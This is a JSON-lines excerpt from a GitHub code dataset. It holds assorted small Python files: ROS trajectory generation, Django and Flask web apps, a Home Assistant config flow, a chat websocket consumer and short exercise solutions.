Publisher\n self.pub_traj = rospy.Publisher('/trajectory_generator', Twist, queue_size=500)\n\n # defining index for array of trajectory points\n self.idx = 0\n\n # index to reset the trajectory\n self.reset_idx = 0\n\n self.total_points = 0\n\n # defining message type for the publisher\n self.pub_traj_msg = Twist()\n\n # initialize waypoints with start position and define trajectory - LINEAR\n self.target_pos1 = [-1.5, -1.5, 1.0]\n self.target_pos2 = [1.5, 1.5, 2.0]\n self.target_pos = self.linear_trajectory()\n\n # initialize waypoints with start position and define trajectory - CIRCULAR\n self.start_pos = [1.5, 0.0, 0.5]\n self.del_z = 1\n self.radius = 1.5\n # self.target_pos = self.circle_trajectory()\n\n # Publish the control command at the below frequency\n self.desired_pos_frequency = 10\n rospy.Timer(rospy.Duration(1 / self.desired_pos_frequency), self.publish_trajectory)\n\n def publish_trajectory(self, event=None):\n self.pub_traj_msg.linear.x = self.target_pos[0, self.idx]\n self.pub_traj_msg.linear.y = self.target_pos[1, self.idx]\n self.pub_traj_msg.linear.z = self.target_pos[2, self.idx]\n self.pub_traj_msg.angular.z = self.target_pos[3, self.idx]\n\n self.idx += 1\n\n if self.idx == self.total_points:\n self.idx = self.reset_idx\n\n self.pub_traj.publish(self.pub_traj_msg)\n\n def linear_trajectory(self):\n # convert to an array, taking each position\n traj_points = np.asarray([[0, 0, 0], self.target_pos1, self.target_pos2, self.target_pos1])\n\n points_x = np.asarray([])\n points_y = np.asarray([])\n points_z = np.asarray([])\n angles_z = np.asarray([])\n for k in range(np.shape(traj_points)[0] - 1):\n\n # calculate total waypoints\n distance = np.abs(traj_points[k, :] - traj_points[k+1, :])\n max_dist = np.max(distance)\n total_pts = int(max_dist/0.02)\n\n # to repeat the trajectory\n if k == 1:\n self.reset_idx = self.total_points\n self.total_points += total_pts + 100\n\n # define trajectory\n x = np.linspace(traj_points[k, 0], traj_points[k+1, 0], total_pts)\n y = np.linspace(traj_points[k, 1], traj_points[k+1, 1], total_pts)\n z = np.linspace(traj_points[k, 2], traj_points[k+1, 2], total_pts)\n\n # concatenate horizontally\n points_x = np.hstack((points_x, x, [traj_points[k+1, 0] for a in range(100)]))\n points_y = np.hstack((points_y, y, [traj_points[k+1, 1] for b in range(100)]))\n points_z = np.hstack((points_z, z, [traj_points[k+1, 2] for c in range(100)]))\n angles_z = np.hstack((angles_z, 0.0 * z, [0.0 for c in range(100)]))\n\n # update trajectory and return\n self.target_pos = np.asarray([points_x, points_y, points_z, angles_z])\n return self.target_pos\n\n def circle_trajectory(self):\n points_x = np.asarray([])\n points_y = np.asarray([])\n points_z = np.asarray([])\n angles_z = np.asarray([])\n\n # calculate total trajectory to the initial position\n distance = np.abs(self.start_pos)\n max_dist = np.max(distance)\n total_pts = int(max_dist/0.02)\n\n # define trajectory\n pos_x = np.linspace(0, self.start_pos[0], total_pts)\n pos_y = np.linspace(0, self.start_pos[1], total_pts)\n pos_z = np.linspace(0, self.start_pos[2], total_pts)\n yaw = np.linspace(0, np.pi, total_pts)\n\n # concatenate horizontally\n points_x = np.hstack((points_x, pos_x, [self.start_pos[0] for a in range(100)]))\n points_y = np.hstack((points_y, pos_y, [self.start_pos[1] for b in range(100)]))\n points_z = np.hstack((points_z, pos_z, [self.start_pos[2] for c in range(100)]))\n angles_z = np.hstack((angles_z, yaw, [ np.pi for c in range(100)]))\n\n # to repeat the trajectory\n self.reset_idx = total_pts + 100\n self.total_points = total_pts + 100\n\n # the circular part\n z = 0\n z_initial = self.start_pos[2]\n z_inc = self.del_z/36\n for angle in range(0, 360, 5):\n if angle == 180:\n z_inc = -1 * z_inc\n z_initial += self.del_z\n z = 0\n rad = angle * np.pi / 180\n waypoints = [self.radius * np.cos(rad), self.radius * np.sin(rad), z_initial + z * z_inc]\n points_x = np.hstack((points_x, [ waypoints[0] for a in range(10)]))\n points_y = np.hstack((points_y, [ waypoints[1] for b in range(10)]))\n points_z = np.hstack((points_z, [ waypoints[2] for c in range(10)]))\n angles_z = np.hstack((angles_z, [(np.pi+rad-0.1) for c in range(10)]))\n self.total_points += 10\n z += 1\n\n # update trajectory and return\n self.target_pos = np.asarray([points_x, points_y, points_z, angles_z])\n return self.target_pos\n\n\nif __name__ == '__main__':\n rospy.init_node('desired_position')\n ROSDesiredPositionGenerator()\n rospy.spin()\n","repo_name":"adityajain07/AER1217_Development-of-UAS","sub_path":"Labs/Lab2/aer1217_ardrone_simulator/scripts/desired_positions.py","file_name":"desired_positions.py","file_ext":"py","file_size_in_byte":5784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"283895132","text":"from django.conf.urls import url, include\nfrom django.contrib.auth.decorators import login_required\n\n\nfrom django.contrib.auth.views import logout, logout_then_login, login\n\nfrom django.conf.urls import url\nfrom lab2project.apps.centrodesalud.views import *\n\n\nurlpatterns = [\n url(r'^$', index_view, name='url_index'),\n url(r'^login$', login,\n {'template_name': 'login.html'}, name='url_login'),\n url(r'^logout$', logout,\n {'template_name': 'index.html'}, name='url_logout'),\n\n url(r'^home$',login_required(home_view), name='url_home'),\n url(r'^cita_nueva$', login_required(CitaCreate.as_view()), name='url_createcita'),\n url(r'^miscitas$',login_required(CitaListar.as_view()), name='url_miscitas'),\n url(r'^cita/(?P\\d+)/$', login_required(buscarPaciente3.as_view()), name='url_buscarpaciente'),\n url(r'^edit/(?P\\d+)/$', login_required(CitaUpdate.as_view()), name='url_edit'),\n url(r'^delete/(?P\\d+)/$', login_required(CitaDelete.as_view()), name='url_delete'),\n\n url(r'^clinica/nueva$', login_required(SucursalCreate.as_view()),name='url_createclinica'),\n url(r'^clinica/list$', login_required(SucursalListar.as_view()), name='url_clinicas'),\n url(r'^clinica/edit/(?P\\d+)/$', login_required(SucursalUpdate.as_view()), name='url_editclinica'),\n url(r'^clinica/delete/(?P\\d+)/$', login_required(SucursalDelete.as_view()), name='url_deleteclinica'),\n\n\n]","repo_name":"njarvis93/lab2v2","sub_path":"lab2project/apps/centrodesalud/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25866454268","text":"from setuptools import setup\n\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\n\nsetup(\n name='Divigil',\n version='0.1',\n packages=['modules', 'divigil.py'],\n install_requires=['apscheduler'],\n url='https://github.com/p-rintz/divigil',\n license='GPL3.0',\n author='Philipp Rintz',\n author_email='git@rintz.net',\n description='Download and keep up-to-date on new releases of various distributions',\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"Development Status :: 3 - Alpha\",\n \"Environment :: Console\",\n \"Environment :: Plugins\",\n \"Intended Audience :: Developers\",\n \"Intended Audience :: End Users/Desktop\",\n \"Intended Audience :: System Administrators\",\n \"License :: OSI Approved :: GNU General Public License v3 (GPLv3)\",\n \"Operating System :: POSIX\",\n \"Topic :: Utilities\",\n ],\n)\n","repo_name":"p-rintz/divigil","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"18592825984","text":"import typing as t\n\nVALID_KEYS = {\n \"@odata.context\",\n \"@odata.id\",\n \"@odata.type\",\n \"Id\",\n \"Name\",\n \"Product\",\n \"RedfishVersion\",\n \"UUID\",\n \"Chassis\",\n \"Managers\",\n \"SessionService\",\n \"AccountService\",\n \"Description\",\n \"Accounts\",\n \"Members\",\n \"Members@odata.count\",\n \"ManagerType\",\n \"Status\",\n \"State\",\n \"Health\",\n \"FirmwareVersion\",\n \"NetworkProtocol\",\n \"EthernetInterfaces\",\n \"LogServices\",\n \"Links\",\n \"Actions\",\n \"target\",\n \"HostName\",\n \"FQDN\",\n \"#Manager.Reset\",\n \"ResetType@Redfish.AllowableValues\",\n \"InterfaceEnabled\",\n \"MACAddress\",\n \"SpeedMbps\",\n \"IPv4Addresses\",\n \"IPv6Addresses\",\n \"Address\",\n \"AddressOrigin\",\n \"StaticNameServers\",\n \"HTTP\",\n \"HTTPS\",\n \"SSH\",\n \"SSDP\",\n \"ProtocolEnabled\",\n \"Port\",\n \"Temperatures\",\n \"Fans\",\n \"Redundancy\",\n \"PowerControl\",\n \"ChassisType\",\n \"Manufacturer\",\n \"Model\",\n \"SerialNumber\",\n \"PowerState\",\n \"Thermal\",\n \"Power\",\n \"FruInfo\",\n}\n\n\nasync def validate_keys(body: t.Dict[str, t.Any]) -> None:\n required_keys = {\"@odata.id\", \"@odata.type\"}\n for required_key in required_keys:\n if required_key not in body:\n raise NotImplementedError(\n \"required key: {required_key} not found in body: {body}\".format(\n required_key=repr(required_key), body=repr(body)\n )\n )\n for key, _value in body.items():\n if key not in VALID_KEYS:\n raise NotImplementedError(\n \"key : {key} in response body : {body} is not a valid RedFish key\".format( # noqa: B950\n key=repr(key), body=repr(body)\n )\n )\n","repo_name":"kantaphon/openbmc","sub_path":"common/recipes-rest/rest-api/files/redfish_base.py","file_name":"redfish_base.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"9812778967","text":"'''Compact neighborhood Encoding using Bijection Function'''\n\nimport math\nimport numpy as np\n\nfrom builder import *\nneighbor_labels, labels_dict = node_neighbor_labels()\nonly_labels = list(set(labels_dict.values()))\nG = build_graph()\n\n \ndef cantor_pairing(x, y):\n if x > (y + x - 1):\n return 0\n if y + x - 1 == 1:\n return 1\n st = 1\n i = 1\n t = y\n while t <= (y + x - 1):\n st *= t\n t += 1 \n while (i <= x) and (st % i == 0) and (st > 0):\n st = st / i\n i += 1\n return st\n\n\ndef CNR():\n CNI_Nodes_log = {}\n CNI_original = {}\n for node in G.nodes:\n visited = []\n CNI_list = []\n CNI_Sum = 0\n hop_labels = sorted(neighbor_labels[node]) #Returns Labels of Node neighbors\n hop_count = np.zeros(len(only_labels))\n for label in only_labels:\n if label in hop_labels:\n hop_count[only_labels.index(label)] = hop_labels.count(label) #returns counts of unique neighbor labels \n else: 0\n hop_count = [int(n) for n in hop_count] \n for i in range(len(only_labels)):\n visited.append(hop_count.pop(0))\n CNI_list.append((only_labels[i],sum(visited))) #Returns the label, hop count sum pair\n for j in CNI_list:\n CNI_Sum += cantor_pairing(j[0], j[1])\n \n CNI_original[node] = int(CNI_Sum)\n if CNI_Sum == 1:\n CNI_Nodes_log[node] = CNI_Sum\n else:\n CNI_Nodes_log[node] = math.log(CNI_Sum)\n return (CNI_original, CNI_Nodes_log)\n\n\n","repo_name":"ikenna-oluigbo/snefan","sub_path":"CNI.py","file_name":"CNI.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37337615036","text":"from flask import Flask, render_template, request, redirect, url_for\nfrom flask_login import LoginManager,login_user,logout_user,current_user, login_required\nfrom pymongo import message\nfrom user import User\nfrom datetime import datetime\nfrom dateutil.tz import gettz\nfrom flask_socketio import SocketIO, join_room, close_room\nfrom db import chat_history, get_user, new_msg, new_user, get_allusers,get_chats\nimport os\n\napp = Flask(__name__)\nsocketio = SocketIO(app,transports= ['websocket'])\napp.secret_key='secret key'\nlogin_manager=LoginManager()\nlogin_manager.login_view='login'\nlogin_manager.init_app(app)\n\n@app.route('/', methods=['GET','POST'])\ndef login():\n message=\"\"\n if current_user.is_authenticated:\n return redirect(url_for('chat', user=current_user.username))\n if request.method == 'POST':\n username =request.form.get('username')\n input_password =request.form.get('password')\n user = get_user(username)\n if user and user.check_password(input_password):\n login_user(user)\n return redirect(url_for('chat', user=user.username))\n else:\n message=\"User credentials are incorrect\"\n return render_template(\"login.html\", message=message)\n\n@app.route('/signup', methods=['GET','POST'])\ndef signup():\n message=\"\"\n if request.method == 'POST':\n username=request.form.get('username')\n email=request.form.get('email')\n password=request.form.get('password')\n if username.isalnum() == False:\n message=\"You can only use alphanumeric characters in username\"\n else: \n try:\n new_user(username,email,password)\n return redirect(url_for('login'))\n except:\n message=\"User already exists\"\n return render_template(\"signup.html\", message=message)\n\n@app.route('/chat/', methods=['GET','POST'])\n@login_required\ndef chat(user):\n user_chats=get_chats(user)\n date=[]\n date.append(datetime.now(tz=gettz('Asia/Kolkata')).strftime(\"%d\"))\n date.append(datetime.now(tz=gettz('Asia/Kolkata')).strftime(\"%b\"))\n date.append(datetime.now(tz=gettz('Asia/Kolkata')).strftime(\"%y\"))\n if current_user.username!=user:\n return redirect(url_for('chat',user=current_user.username))\n if request.method =='POST' :\n logout_user()\n return redirect(url_for('login'))\n return render_template(\"chat.html\", users_name=get_allusers(), var=user, user_chats=user_chats,\n curr_date=date)\n\n@login_manager.user_loader\ndef load_user(username): \n return get_user(username)\n\n@socketio.on('change chat')\ndef handle_my_custom_event(data):\n user=data['user']\n current_chat=data['new_chat']\n chats = chat_history(user,current_chat)\n socketio.emit('update chat', {'chats':chats, 'current_chat':current_chat}, room=user)\n\n@socketio.on('sentmsg')\ndef handle_my_custom_event(data):\n user=data['user']\n current_chat=data['curr_chat']\n msg=data['msg']\n new_msg(user,current_chat,msg)\n chats = chat_history(user,current_chat)\n user_chats=get_chats(user) \n socketio.emit('update chat', {'chats':chats, 'current_chat':current_chat}, room=user)\n date=[]\n date.append(datetime.now(tz=gettz('Asia/Kolkata')).strftime(\"%d\"))\n date.append(datetime.now(tz=gettz('Asia/Kolkata')).strftime(\"%b\"))\n date.append(datetime.now(tz=gettz('Asia/Kolkata')).strftime(\"%y\"))\n socketio.emit('update allchats', {'user_chats':user_chats, 'date':date})\n\n@socketio.on('init')\ndef handle_my_custom_event(data):\n user=data\n user_chats=get_chats(user)\n date=[]\n join_room(user)\n date.append(datetime.now(tz=gettz('Asia/Kolkata')).strftime(\"%d\"))\n date.append(datetime.now(tz=gettz('Asia/Kolkata')).strftime(\"%b\"))\n date.append(datetime.now(tz=gettz('Asia/Kolkata')).strftime(\"%y\"))\n socketio.emit('update allchats', {'user_chats':user_chats,'date':date}, room=user)\n\n@socketio.on('logout')\ndef handle_my_custom_event(data):\n user = data\n socketio.emit('submit form', room=user)\n close_room(user)\n\nif __name__==\"__main__\":\n socketio.run(app, port=int(os.environ.get('PORT', 5000)))\n","repo_name":"rohitt28/Chat-website","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14217067639","text":"#from __future__ import annotations\nfrom typing import List,Union\nimport sys\ninput = sys.stdin.readline\n# from collections import defaultdict,deque\n# from itertools import permutations,combinations\n# from bisect import bisect_left,bisect_right\n# import heapq\n# sys.setrecursionlimit(10**5)\n\ndef main():\n N = int(input())\n A = list(map(int,input().split()))\n A.append(A[-1])\n cnt = []\n length = 0\n last = 2\n for i in range(N+1):\n if last != A[i]:\n length += 1\n else:\n cnt.append(length)\n length = 1\n last = A[i]\n\n ans = 0\n for i in range(len(cnt)-2):\n ans = max(ans, cnt[i]+cnt[i+1]+cnt[i+2])\n\n if len(cnt) < 3:\n ans = sum(cnt)\n\n print(ans)\n\n\nif __name__ == '__main__':\n main()","repo_name":"tokuD/atcoder","sub_path":"Practice/089.py","file_name":"089.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21175877149","text":"from pymongo import MongoClient\n\nfrom hr.domain import Employee\n\nclient = MongoClient(\"mongodb://localhost:27017\")\n\nhr_db = client['hr'] # hr database\n\nemployees = hr_db.employees # employees collection\n\nemps = [\n Employee(\"1\", \"Jack Bauer\", 100000, \"jack@example.com\", 1956, \"tr1\"),\n Employee(\"2\", \"Kate Austen\", 200000, \"kate@example.com\", 1986, \"tr2\"),\n Employee(\"3\", \"Ben Linus\", 100000, \"linus@example.com\", 1962, \"tr3\")\n]\nemps2 = [\n {\"identity\": \"1\", \"fullname\": \"Jack Bauer\", \"salary\": 100000, \"email\": \"jack@example.com\", \"birth_year\": 1956}\n]\nemps_dict = []\nfor emp in emps:\n emps_dict.append(emp.__dict__)\n\nresult = employees.insert_many(list(map(lambda emp: emp.__dict__, emps)))\nprint(f\"inserted _id's: {result.inserted_ids}\")\n","repo_name":"deepcloudlabs/dcl162-2022-may-16","sub_path":"module08/exercise03.py","file_name":"exercise03.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"24810763675","text":"import json\n\n\nclass PostsDAO:\n\n def __init__(self, path):\n self.path = path\n\n def _load(self):\n with open(self.path, \"r\", encoding=\"utf-8\") as file:\n data = json.load(file)\n return data\n\n def get_posts_all(self):\n \"\"\"возвращает посты\"\"\"\n posts = self._load()\n return posts\n\n def get_posts_by_user(self, user_name):\n \"\"\"возвращает посты определенного пользователя. Функция должна вызывать ошибку `ValueError` если такого пользователя нет и пустой список, если у пользователя нет постов.\"\"\"\n posts = self.get_all_posts_with_tags()\n findings = []\n for post in posts:\n if post['poster_name'].lower() == user_name.lower():\n findings.append(post)\n if len(findings) == 0:\n raise ValueError(f'нет такого пользователя: {user_name}')\n else:\n return findings\n\n def search_for_posts(self, query):\n \"\"\"возвращает список постов по ключевому слову\"\"\"\n posts = self.get_all_posts_with_tags()\n findings = []\n for post in posts:\n if query.lower() in post['content'].lower():\n findings.append(post)\n if len(findings) >= 10:\n break\n return findings\n\n def get_post_by_pk(self, pk):\n \"\"\"возвращает один пост по его идентификатору\"\"\"\n posts = self.get_all_posts_with_tags()\n try:\n for post in posts:\n if post['pk'] == pk:\n return post\n return False\n except TypeError:\n raise f'неверный тип данных: {pk}'\n\n def get_all_posts_with_tags(self):\n \"\"\"превращает теги в ссылки\"\"\"\n posts = self._load()\n try:\n for post_num in range(len(posts)):\n words_in_post = posts[post_num]['content'].split(' ')\n for word_num in range(0, len(words_in_post)):\n if words_in_post[word_num][0] == '#':\n words_in_post[word_num] = f\"{words_in_post[word_num]}\"\n posts[post_num]['content'] = ' '.join(words_in_post)\n except TypeError:\n raise f'неверный тип данных'\n finally:\n return posts\n","repo_name":"sen19/curs_work_2","sub_path":"posts/dao/posts_dao.py","file_name":"posts_dao.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16950920020","text":"\"\"\"Config flow for Drea integration.\"\"\"\nfrom __future__ import annotations\n\nimport logging\nfrom typing import Any\n\nimport voluptuous as vol\n\nfrom homeassistant import config_entries\nfrom homeassistant.const import ATTR_FRIENDLY_NAME\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.data_entry_flow import FlowResult\nfrom homeassistant.exceptions import HomeAssistantError\nfrom homeassistant.core import callback\nfrom homeassistant.helpers.selector import (\n EntitySelector,\n EntitySelectorConfig,\n SelectSelector,\n SelectSelectorConfig,\n SelectSelectorMode,\n)\n\nfrom .const import DOMAIN\n\n_LOGGER = logging.getLogger(__name__)\n\n# TODO adjust the data schema to the data that you need\nDATA_SCHEMA = vol.Schema(\n {\n vol.Required(\"five_finger\"): str,\n }\n)\n\nSUPPORTED_DOMAINS = [\n \"light\",\n \"media_player\",\n \"climate\"\n]\n\n\nclass SimpleConfigFlow(config_entries.ConfigFlow, domain=DOMAIN):\n \"\"\"Handle a config flow for Drea.\"\"\"\n\n VERSION = 1\n\n async def async_step_user(\n self, user_input: dict[str, Any] | None = None\n ) -> FlowResult:\n if user_input is None:\n return self.async_show_form(step_id=\"user\")\n\n return self.async_create_entry(title=DOMAIN, data=user_input)\n\n @staticmethod\n @callback\n def async_get_options_flow(config_entry):\n \"\"\"Create the options flow.\"\"\"\n return OptionsFlowHandler(config_entry)\n\n\nclass OptionsFlowHandler(config_entries.OptionsFlow):\n def __init__(self, config_entry: config_entries.ConfigEntry) -> None:\n \"\"\"Initialize options flow.\"\"\"\n self.config_entry = config_entry\n self.drea_options: dict[str, Any] = {}\n\n async def async_step_attribute(\n self, user_input: dict[str, Any] | None = None\n ) -> FlowResult:\n\n if user_input is not None:\n user_input.update(self.drea_options)\n return self.async_create_entry(title=\"\", data=user_input)\n\n data_schema = {}\n\n if self.drea_options.get(\"five_finger_opt\") is not None:\n attributes = _async_get_attributes_by_entity(self.hass, self.drea_options.get(\"five_finger_opt\"))\n data_schema[vol.Required(\"five_finger_attr\", default=self.config_entry.options.get(\"five_finger_attr\"))] = SelectSelector(\n SelectSelectorConfig(options=attributes, mode=SelectSelectorMode.DROPDOWN)\n )\n\n if self.drea_options.get(\"four_finger_opt\") is not None:\n attributes = _async_get_attributes_by_entity(self.hass, self.drea_options.get(\"four_finger_opt\"))\n data_schema[vol.Required(\"four_finger_attr\", default=self.config_entry.options.get(\"four_finger_attr\"))] = SelectSelector(\n SelectSelectorConfig(options=attributes, mode=SelectSelectorMode.DROPDOWN)\n )\n\n if self.drea_options.get(\"three_finger_opt\") is not None:\n attributes = _async_get_attributes_by_entity(self.hass, self.drea_options.get(\"three_finger_opt\"))\n data_schema[vol.Required(\"three_finger_attr\", default=self.config_entry.options.get(\"three_finger_attr\"))] = SelectSelector(\n SelectSelectorConfig(options=attributes, mode=SelectSelectorMode.DROPDOWN)\n )\n\n if self.drea_options.get(\"two_finger_opt\") is not None:\n attributes = _async_get_attributes_by_entity(self.hass, self.drea_options.get(\"two_finger_opt\"))\n data_schema[vol.Required(\"two_finger_attr\", default=self.config_entry.options.get(\"two_finger_attr\"))] = SelectSelector(\n SelectSelectorConfig(options=attributes, mode=SelectSelectorMode.DROPDOWN)\n )\n\n return self.async_show_form(\n step_id=\"attribute\",\n data_schema=vol.Schema(data_schema),\n )\n\n async def async_step_init(\n self, user_input: dict[str, Any] | None = None\n ) -> FlowResult:\n \"\"\"Manage the options.\"\"\"\n\n if user_input is not None:\n self.drea_options.update(user_input)\n return await self.async_step_attribute()\n\n supported_entities = _async_get_entities_by_filter(self.hass, SUPPORTED_DOMAINS)\n\n return self.async_show_form(\n step_id=\"init\",\n data_schema=vol.Schema(\n {\n vol.Optional(\n \"five_finger_opt\",\n default=self.config_entry.options.get(\"five_finger_opt\"),\n ): EntitySelector(EntitySelectorConfig(include_entities=supported_entities)),\n vol.Optional(\n \"four_finger_opt\",\n default=self.config_entry.options.get(\"four_finger_opt\"),\n ): EntitySelector(EntitySelectorConfig(include_entities=supported_entities)),\n vol.Optional(\n \"three_finger_opt\",\n default=self.config_entry.options.get(\"three_finger_opt\"),\n ): EntitySelector(EntitySelectorConfig(include_entities=supported_entities)),\n vol.Optional(\n \"two_finger_opt\",\n default=self.config_entry.options.get(\"two_finger_opt\"),\n ): EntitySelector(EntitySelectorConfig(include_entities=supported_entities)),\n }\n ),\n )\n\n\nclass CannotConnect(HomeAssistantError):\n \"\"\"Error to indicate we cannot connect.\"\"\"\n\n\nclass InvalidAuth(HomeAssistantError):\n \"\"\"Error to indicate there is invalid auth.\"\"\"\n\n\ndef _async_get_entities_by_filter(\n hass: HomeAssistant,\n domains: list[str] | None = None,\n) -> list[str]:\n \"\"\"Fetch all entities or entities in the given domains.\"\"\"\n list = []\n for state in hass.states.async_all(domains and set(domains)):\n list.append(state.entity_id)\n return list\n\n\ndef _async_get_attributes_by_entity(\n hass: HomeAssistant,\n entity_id: str\n)-> list[str]:\n \"\"\"Fetch all entities or entities in the given domains.\"\"\"\n entity_dict = hass.states.get(entity_id).as_dict()\n attr_keys = entity_dict.get(\"attributes\").keys()\n\n domain = entity_id.split(\".\", 2)[0]\n\n attr_list = []\n\n if domain == \"light\":\n attr_list.append(\"brightness\")\n if \"hs\" in entity_dict.get(\"attributes\").get(\"supported_color_modes\") or \"xy\" in entity_dict.get(\"attributes\").get(\"supported_color_modes\") or \"rgb\" in entity_dict.get(\"attributes\").get(\"supported_color_modes\"):\n attr_list.append(\"color\")\n attr_list.append(\"saturation\")\n if \"color_temp\" in entity_dict.get(\"attributes\").get(\"supported_color_modes\"):\n attr_list.append(\"color_temp\")\n if \"rgbw\" in entity_dict.get(\"attributes\").get(\"supported_color_modes\"):\n attr_list.append(\"rgbw_color\")\n\n elif domain == \"climate\":\n if \"temperature\" in attr_keys:\n attr_list.append(\"temperature\")\n\n elif domain == \"media_player\":\n if \"volume_level\" in attr_keys:\n attr_list.append(\"volume_level\")\n\n return list(attr_list)\n","repo_name":"trishouser/ha-drea","sub_path":"config_flow.py","file_name":"config_flow.py","file_ext":"py","file_size_in_byte":7055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33291699020","text":"from channels.generic.websocket import AsyncJsonWebsocketConsumer\nfrom channels.db import database_sync_to_async\nfrom .logic import ChatUserHandler\n\nclass ChatConsumer(AsyncJsonWebsocketConsumer):\n rooms = {}\n\n async def create_chat(self, content):\n try:\n user_steamid64 = content['user_steamid64']\n except KeyError:\n self.handle_bad_params(content)\n\n user = self.handler.get_user_by_steamid64(user_steamid64)\n if not user:\n self.handle_bad_params(content)\n \n room = await self.handler.get_or_create_room_with_user(user) \n group_name = f'{room.pk}'\n self.channel_layer.group_add(group_name,self.channel_name)\n\n self.rooms[group_name] = room\n\n content['success'] = True\n content['room'] = room.pk\n self.send_json(content)\n\n async def delete_chat(self, content):\n pass\n\n async def get_chat(self, content): \n content['data'] = await self.handler.get_rooms()\n content['success'] = True\n await self.send_json(content)\n\n async def send_message(self, content):\n try:\n room = content['room']\n message = content['message']\n except KeyError:\n self.handle_bad_params(content)\n \n room = self.rooms[room]\n message = self.handler.sanitize_message(message)\n\n group_name = f\"{room.pk}\"\n data = {'content': message, 'steamid64': self.user.steamid64,\n 'type': 'group_send_message', 'command': 'send_message', 'status': 'success', }\n self.channel_layer.group_send(group_name,data)\n\n await self.save_message(room, self.user, message)\n\n async def group_send_message(self, data):\n await self.send_json(data)\n\n async def delete_message(self, content):\n pass\n\n async def get_messages(self, content):\n try:\n room = content['room']\n from_range = content.get('from_range',None)\n except KeyError:\n self.handle_bad_params(content)\n\n room = self.rooms[room]\n content['data'] = await self.handler.get_messages(room, from_range)\n content['success'] = True\n await self.send_json(content)\n\n async def get_user(self, content):\n content['data'] = await self.handler.get_user()\n content['success'] = True\n await self.send_json(content)\n\n async def block_user(self, content):\n pass\n\n async def pong(self,content):\n content['data'] = 'pong'\n content['success'] = True\n await self.send_json(content)\n\n commands = {\n 'ping':pong,\n 'create_chat': create_chat,\n 'delete_chat': delete_chat,\n 'get_rooms': get_chat,\n 'send_message': send_message,\n 'delete_message': delete_message,\n 'get_messages': get_messages,\n 'get_user': get_user,\n 'block_user': block_user,\n }\n\n async def connect(self):\n if not self.scope['user'].pk:\n self.close()\n else:\n self.user = self.scope['user']\n self.handler = ChatUserHandler(self.user)\n self.accept()\n \n async def disconnect(self, code):\n return super().disconnect(code)\n\n async def receive_json(self, content):\n try:\n self.commands[content['command']](self, content)\n except KeyError:\n self.handle_bad_command(content)\n\n async def handle_bad_command(self, content):\n content['success'] = False\n content['data'] = 'Bad command'\n await self.send_json(content)\n return None\n\n async def handle_bad_params(self, content):\n content['success'] = False\n content['data'] = 'Bad parameters'\n await self.send_json(content)\n return None","repo_name":"prajwalbasnet4400/skinsnepal","sub_path":"chat/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":3781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30154263067","text":"\"\"\"\r\n\n\nCreate a function that takes a string (the string to truncate) and a number\n(the _maximum_ length of the truncated string) as arguments and returns the\ntruncated string at the given length.\n\n### Examples\n\n truncate(\"Lorem ipsum dolor sit amet.\", 11) ➞ \"Lorem ipsum\"\n \n truncate(\"Lorem ipsum dolor sit amet.\", 16) ➞ \"Lorem ipsum\"\n \n truncate(\"Lorem ipsum dolor sit amet.\", 17) ➞ \"Lorem ipsum dolor\"\n\n### Notes\n\n * To \"truncate\" means _\"to shorten by cutting off the top or end\"_.\n * If a word is truncated in the middle, discard it in the output (see 2nd example above).\n\n\"\"\"\r\n\ndef truncate(txt, length):\n c = ' '\n txt = txt + c\n master = [pos for pos, char in enumerate(txt) if char == c]\n if length in master:\n return txt[0:length]\n else:\n new_list = sorted(master + [length])\n offst = new_list.index(length)\n if offst == 0:\n return \"\"\n else:\n offst -= 1\n new_index = new_list[offst]\n return txt[0:new_index]\n\n","repo_name":"daniel-reich/turbo-robot","sub_path":"wYcTcJSQJzca39apZ_13.py","file_name":"wYcTcJSQJzca39apZ_13.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9342217267","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport re\nimport json\n\nfrom django.shortcuts import render, get_object_or_404\nfrom django.http import JsonResponse, StreamingHttpResponse\nfrom django.views.generic import View\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom blog.models import Article, Tag, ClapRecord, AccessLog, Song\nfrom blog.api import get_article_info, get_cat_info_list, get_tag_info_list, get_articles_context\nfrom blog_django.utils.mkdoc_build import render_content\n\n\nclass ArticleList(View):\n\n def get(self, request):\n article_list = Article.objects.filter(perm_level__lt=100).order_by('-event_date').all()\n page = int(request.GET.get('page', 1))\n context = get_articles_context(article_list, page)\n context.update({'home_page': True})\n return render(request, 'blog/article_list.html', context)\n\n def post(self, request):\n pass\n\n\nclass ArticleDetail(View):\n\n def get(self, request, article_id):\n article = get_object_or_404(Article, id=article_id)\n article_info = get_article_info(article)\n article_title = article_info['title']\n page_content = 